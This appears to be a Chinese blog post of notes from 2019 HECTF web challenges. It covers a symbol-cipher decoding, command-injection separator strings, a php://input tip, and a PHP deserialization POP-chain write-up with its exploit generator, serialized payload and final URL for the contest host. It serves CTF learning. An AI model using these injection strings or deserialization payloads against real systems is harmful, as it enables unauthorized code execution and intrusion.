奇怪的编码

  1. ♭‖§∮♯♭‖§∮♬♭‖§§♫♭‖§∮§♭‖§♩§♭‖♯♬¶♭‖§§♫♭‖§§¶♭‖♯¶§♭‖♯¶♫♭‖§∮♭♭‖§§♫♭‖§§♬♭‖♯♬♪♭‖♯¶♪♭‖♯¶‖♭‖♯¶♯♭‖♯♬♬♭‖♯♬♪♭‖♯¶♯♭‖♯¶♯♭‖♯¶∮♭‖§∮♭♭‖♯♬♪♭‖§§♬♭‖♯¶§♭‖♯¶‖♭‖§§♬♭‖♯♬♪♭‖§§♫♭‖♯¶♪♭‖♯¶♫♭‖♯¶§♭‖§∮♭♭‖♯♬¶♭‖♯♬♬♭‖♯¶‖♭‖♯¶♫♭‖♯¶∮♭‖♯¶∮♭‖§§♫♭‖§♩♪‖‖‖♭§♪==

  2. https://www.qqxiuzi.cn/bianma/wenbenjiami.php?s=mangwen

    在这个网站第一次解密音乐符号出现盲文,第二次解密盲文出现flag

  3. 栅格密码……略

命令执行漏洞之拼接命令

  1. ?ip=1|ls-a
  2. ?ip=1;ls
  3. ?ip=1&&ls
  4. ?ip=1||ls

伪协议:

file_get_content函数就用伪协议:php//:input

body里可以穿文本admin

Web-让我们一起来变魔术

拿到页面,查看网页源代码,获得关键代码:

class Read {
public $var;
public $token;
public $token_flag;
public function __construct() {
$this->token_flag = $this->token = md5(rand(1,10000));
}
public function __invoke(){
$this->token_flag = md5(rand(1,10000));
if($this->token === $this->token_flag)
{
echo "flag{**********}";
}
}
} class Show
{
public $source;
public $str;
public function __construct()
{
echo $this->source."<br>";
} public function __toString()
{
$this->str['str']->source;
}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
} class Test
{
public $params;
public function __construct()
{
$this->params = array();
} public function __get($key)
{
$func = $this->params;
return $func();
}
} if(isset($_GET['chal']))
{
$chal = unserialize($_GET['chal']);
}

明显的反序列化题目。

开始构造pop链。

先出一个大体思路:起点---终点

1.审计到Show里有__toSting函数,考虑是pop链起点。

2.步进——Show中的__construct(),(有echo)

3.继续步进——寻找可以读flag的地方,明显是Read的__invoke函数。pop链结束。

现在从__invoke往回反推:

1.首先__invoke要想执行,需要

$this->token === $this->token_flag

而$this->token_flag在每次调用__invoke时,会重新生成。

可以使用引用,使token变为token_flag的引用即可解决:

$this->token = &$this->token_flag;

2.要想触发__invoke,需要以调用函数的方式调用一个对象。

可以看到Test中的__get()方法有:

public function __get($key)
{
$func = $this->params;
return $func();
}

3.步进,要想触发__get()方法,需要访问不存在的成员变量:

看一下show的__toString():

public function __toString()
{
$this->str['str']->source;
}

所以思路很明确了:

Read::__invoke()<--Test::__get()<--Show::__toString()

payload如下:

<?php
class Read{
public $token;
public $token_flag;
function __construct(){
$this->token = &$this->token_flag; //引用
}
}
class Show
{
public $source;
public $str;
} class Test
{
public $params;
}
$p3 = new Read(); $p2 = new Test();
$p2->params = $p3; $p4 = new Show();
$p4->str = array('str'=>$p2); $exp = new Show();
$exp->source = $p4;
echo serialize($exp); ?>

执行后结果如下:

O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";N;s:3:"str";a:1:{s:3:"str";O:4:"Test":1:{s:6:"params";O:4:"Read":2:{s:5:"token";N;s:10:"token_flag";R:7;}}}}s:3:"str";N;}

所以最终payload如下:

http://183.129.189.60:10006/?chal=O:4:%22Show%22:2:{s:6:%22source%22;O:4:%22Show%22:2:{s:6:%22source%22;N;s:3:%22str%22;a:1:{s:3:%22str%22;O:4:%22Test%22:1:{s:6:%22params%22;O:4:%22Read%22:2:{s:5:%22token%22;N;s:10:%22token_flag%22;R:7;}}}}s:3:%22str%22;N;}

2019HECTF总结_web题的更多相关文章

  1. CTFhub刷题记录

    一 [WesternCTF2018]shrine 没什么好说的,SSTI模版注入类问题,过滤了()但是我们不慌.开始注入,{{29*3}}测试通过. 发现是jinjia2的模版注入.关键点在于没有() ...

  2. 20145221高其_Web安全基础实践

    20145221高其_Web安全基础实践 目录 实践目标 WebGoat BurpSuite Injection Flaws Cross-Site Scripting (XSS) 总结 实践目标 (1 ...

  3. 20155236范晨歌_Web安全基础实践

    20155236范晨歌_Web安全基础实践 目录 实践目标 WebGoat BurpSuite Injection Flaws Cross-Site Scripting (XSS) 总结 实践目标 ( ...

  4. java基础集合经典训练题

    第一题:要求产生10个随机的字符串,每一个字符串互相不重复,每一个字符串中组成的字符(a-zA-Z0-9)也不相同,每个字符串长度为10; 分析:*1.看到这个题目,或许你脑海中会想到很多方法,比如判 ...

  5. 【Java每日一题】20170106

    20170105问题解析请点击今日问题下方的"[Java每日一题]20170106"查看(问题解析在公众号首发,公众号ID:weknow619) package Jan2017; ...

  6. 【Java每日一题】20170105

    20170104问题解析请点击今日问题下方的"[Java每日一题]20170105"查看(问题解析在公众号首发,公众号ID:weknow619) package Jan2017; ...

  7. 【Java每日一题】20170104

    20170103问题解析请点击今日问题下方的"[Java每日一题]20170104"查看(问题解析在公众号首发,公众号ID:weknow619) package Jan2017; ...

  8. 【Java每日一题】20170103

    20161230问题解析请点击今日问题下方的"[Java每日一题]20170103"查看(问题解析在公众号首发,公众号ID:weknow619) package Jan2017; ...

  9. SQL面试笔试经典题(Part 1)

    本文是在Cat Qi的原贴的基础之上,经本人逐题分别在MySql数据库中实现的笔记,持续更新... 参考原贴:http://www.cnblogs.com/qixuejia/p/3637735.htm ...

随机推荐

  1. 在 mac osx 上安装OpenOffice并以服务的方式启动

    OpenOffice是Apache基金会旗下的一款先进的开源办公软件套件,包含文本文档.电子表格.演示文稿.绘图.数据库等.包含Microsoft office所有功能.它不仅可以作为桌面应用供普通用 ...

  2. windows 右键新建html文档

    1.win+R 输入 regedit 启动注册表 2.HKEY_CLASSES_ROOT->.html 3.右键新建-项 名为:ShellNew 4.在右侧空白区右键新建字符串值FileName ...

  3. wabpack踩坑

    webpack 打包时会用 NODE_ENV 来标识是生产环境还是开发环境光, "build": "NODE_ENV=production webpack", ...

  4. 从Note 5看三星大招 究竟能不能秒杀iPhone

    5看三星大招 究竟能不能秒杀iPhone" title="从Note 5看三星大招 究竟能不能秒杀iPhone"> 从当年HTC发布第一代Android手机G1开始 ...

  5. 机器学习 —— 数据预处理

    对于学习机器学习算法来说,肯定会涉及到数据的处理,因此一开始,对数据的预处理进行学习 对于数据的预处理,大概有如下几步: 步骤1 -- 导入所需库 导入处理数据所需要的python库,有如下两个库是非 ...

  6. Eclipse如何打开Android工程

    一.Eclipse如何打开Android工程 1.你可以在file->new->other->android object选择选项:create object from exists ...

  7. springboot java web开发工程师效率

    基础好工具 idea iterm2 和 oh-my-zsh git 热加载 java web项目每次重启时间成本太大. 编程有一个过程很重要, 就是试验, 在一次次试验中探索, 积累素材优化调整程序模 ...

  8. KEMET推出新的多层陶瓷电容器,用于市电供电的应用

    前言:2019年12月2日,全球领先的电子组件供应商KEMET公司 (“ KEMET”或“公司”)推出了一系列新的表面安装设备(SMD)安全认证的多层陶瓷电容器(MLCC),用于市电供电的应用.与现有 ...

  9. sql--自链接(推荐人)

    表1: 需求:查出推荐人,和被推荐人 1.通过group_concat函数和分组,查出每个id推荐的人有哪些 select group_concat(u_name, u_id) as referce_ ...

  10. 7-43 jmu-python-字符串异常处理 (20 分)

    输入一行字符串及下标,能取出相应字符.程序能对不合法数据做相应异常处理. 输入格式: 行1:输入一字符串 行2:输入字符下标 输出格式: 下标非数值异常,输出下标要整数 下标越界,输出下标越界 数据正 ...